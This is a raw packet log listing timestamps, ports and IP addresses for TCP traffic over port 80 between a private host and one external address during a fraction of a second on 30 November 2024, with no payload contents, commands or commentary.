Nov 30, 2024 22:52:33.300836086 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.300885916 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.301333904 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.301386118 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.301825047 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.301891088 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.302350998 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.302406073 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.302862883 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.302877903 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.302910089 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.302942991 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.303848028 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.303917885 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.304354906 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.304430008 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.304923058 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.304935932 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.304972887 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.304987907 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.305897951 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.305948019 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.306427002 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.306479931 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.306967974 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.306982040 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.307023048 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.309480906 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.309529066 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.310591936 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.310612917 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.310627937 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.310717106 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.310717106 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.311744928 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.311758995 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.311799049 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.311815023 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.312726974 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.312740088 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.312781096 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.313786983 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.313800097 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.313832045 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.313857079 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.314737082 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.314749002 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.314786911 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.315015078 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.315754890 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.315769911 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.315809011 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.374398947 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.374464035 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.374633074 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.374679089 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.375205994 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.375257015 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.375647068 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.375746012 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.376147985 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.376194954 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.376689911 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.376754999 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.378223896 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.378238916 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.378295898 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.379014015 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.379070997 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.379563093 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.379578114 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.379631996 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.379631996 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.380573988 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.380587101 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.380639076 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.381584883 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.381597996 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.381630898 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.381649971 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.383728027 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.383740902 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.383774996 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.383786917 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.384614944 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.384625912 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.384660006 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.384684086 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.385688066 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.385705948 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.385730028 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.385744095 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.386674881 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.386687994 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.386732101 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.386751890 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.387693882 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.387707949 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.387748957 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.389930010 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.389945984 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.389988899 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.391052008 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.391077995 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.391103983 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.391130924 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.392240047 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.392251968 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.392266035 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.392298937 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.392328978 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.393359900 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.393412113 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.394521952 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.394572020 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.395582914 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.395605087 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.395638943 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.395649910 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.396831036 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.396845102 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.396856070 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.396883965 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.396912098 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.397876978 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.397928953 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.399019957 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.399076939 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.400173903 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.400234938 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.401256084 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.401272058 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.401282072 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.401304007 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.401321888 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.402353048 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.402403116 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.402406931 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.402450085 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.425172091 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.425249100 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.425606012 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.425781012 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.426112890 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.426170111 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.426625013 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.426676989 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.426898956 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.426953077 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.427460909 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.427515030 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.427933931 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.427946091 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.427989006 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.428544998 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.428560972 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.428601980 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.429497004 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.429553032 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.430038929 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.430093050 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.431581020 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.431592941 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.431653023 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.444504976 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.444642067 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.444829941 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.444843054 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.444989920 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.445847034 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.445864916 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.445899963 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.445924044 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.447019100 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.447031021 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.447097063 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.448122025 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.448172092 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.505230904 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.505289078 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.505491972 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.505542994 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.505614996 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.505660057 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.506135941 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.506267071 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.507210016 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.507277966 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.508172989 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.508229017 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.508707047 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.508764982 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.509179115 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.509241104 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.509763956 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.509774923 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.509843111 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.511756897 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.511769056 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.511811018 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.512799978 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.512859106 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.513909101 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.513927937 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.513940096 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.513971090 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.514000893 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.514986992 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.514998913 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.515065908 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.516020060 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.516035080 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.516072989 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.516098976 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.517029047 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.517067909 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.517112017 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.518173933 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.518228054 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.519294977 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.519308090 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.519351006 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.519376993 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.520375967 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.520435095 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.521544933 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.521600962 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.521632910 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.521692038 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.522697926 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.522763014 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.523803949 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.523821115 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.523857117 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.523868084 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.524912119 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.524925947 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.524936914 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.524971962 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.524997950 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.526067972 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.526082039 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.526120901 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.527199030 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.527235031 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.527271986 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.527295113 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.529469013 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.529486895 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.529498100 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.529524088 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.529545069 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.584867954 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.584958076 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.585149050 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.585206032 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.585692883 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.585745096 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.586118937 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.586173058 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.586663961 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.586714029 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.587014914 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.587064028 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.587524891 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.587574959 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.588538885 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.588593006 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.589621067 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.589672089 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.590024948 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.590075016 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.590550900 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.590605974 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.591861010 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.591908932 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.592847109 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.592861891 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.592895031 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.592916965 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.593957901 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.594003916 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.596293926 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.596343994 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.597332954 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.597390890 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.598469973 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.598483086 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.598515987 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.598531008 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.599682093 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.599701881 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.599735022 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.599750996 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.600771904 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.600826979 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.601840019 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.601856947 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.601902962 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.603008032 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.603024006 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.603071928 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.604120016 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.604171038 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.605252981 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.605313063 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.606424093 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.606436014 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.606446981 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.606482983 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.606498003 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.608659029 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.608674049 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.608711004 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.608721972 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.609786034 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.609800100 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.609843016 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.612109900 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.612165928 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.613240004 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.613267899 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.613292933 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.613306046 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.614276886 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.614295006 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.614334106 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.614365101 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.615457058 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.615470886 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.615504980 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.615515947 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.616554022 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.616566896 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.616614103 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.617754936 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.617767096 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.617777109 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:33.617799044 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:33.617799044 CET	49705	80	192.168.2.9	185.215.113.206
